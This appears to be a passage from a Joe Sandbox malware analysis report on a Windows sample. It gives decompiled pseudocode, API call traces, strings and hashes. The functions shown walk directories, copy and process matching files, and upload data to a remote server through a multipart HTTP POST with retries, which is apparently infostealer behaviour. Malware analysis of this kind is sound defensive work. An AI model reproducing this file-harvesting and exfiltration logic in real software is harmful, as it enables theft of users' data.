Function 00580920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00580929

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction ID: 30f3d7182eefe4c983e93399632d1765ae8032794c4adb82b9e2ac84a56656d9
Opcode Fuzzy Hash: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction Fuzzy Hash: EE90026074415011D82025AC0C02B0500121751634F344B107130AD1E4D840D6400115

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404BE0, Relevance: 112.4, APIs: 56, Strings: 8, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				void* _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_v1552 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000);
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x600920
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x618668
							_t219 =  *0x41a590; // 0x615ff0
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0x618668
							_t207 =  *0x41a590; // 0x615ff0
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x6164f8
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x616010
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x612410
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x616468
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x616408
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_v6840 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560);
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,006122D0,00615478,00616A10,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,00600920), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,00615FF0,?,00618668,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,00615FF0,?,00618668,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,006164F8), ref: 00404E78
lstrcat.KERNEL32(?,00616010), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,00612410), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,00616468), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,00616408), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

hda, xrefs: 00404F35
", xrefs: 00404E91
`, xrefs: 00404D32
https://, xrefs: 00404C94
, xrefs: 00404F6D
------, xrefs: 00404CE8, 00404E32, 00404EC6
200, xrefs: 004050AF
", xrefs: 00404F23

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $ `$"$"$------$200$hda$https://
API String ID: 3074752877-2218876834
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x618890
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x619620
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x618770
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x619530
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1);
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388);
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1);
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124);
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24);
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20);
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596);
					__eflags = _t124;
				} while (_t124 != 0);
				return FindClose(_v272);
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\*, xrefs: 004087ED
%s\%s, xrefs: 00408866

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_v5272 = FindFirstFileA( &_v5268,  &_v5596);
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\*, xrefs: 00405E51
%s\%s\%s, xrefs: 00405F91
%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00588A30, Relevance: 31.8, APIs: 21, Instructions: 337fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00588A49
FindFirstFileA.KERNEL32(?,?), ref: 00588A60
StrCmpCA.SHLWAPI(?,00414010), ref: 00588A86
StrCmpCA.SHLWAPI(?,00414014), ref: 00588A9C
FindNextFileA.KERNEL32(000000FF,?), ref: 00588E25
FindClose.KERNEL32(000000FF), ref: 00588E3A

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction ID: d61818778fb9a25a60774b51435e9ac4145a2621eef119a75d61986c2306295e
Opcode Fuzzy Hash: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction Fuzzy Hash: AFD123B2500109ABCB14EF94DD84EEB77BDBF8C700F448659BA09A3150DB34EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
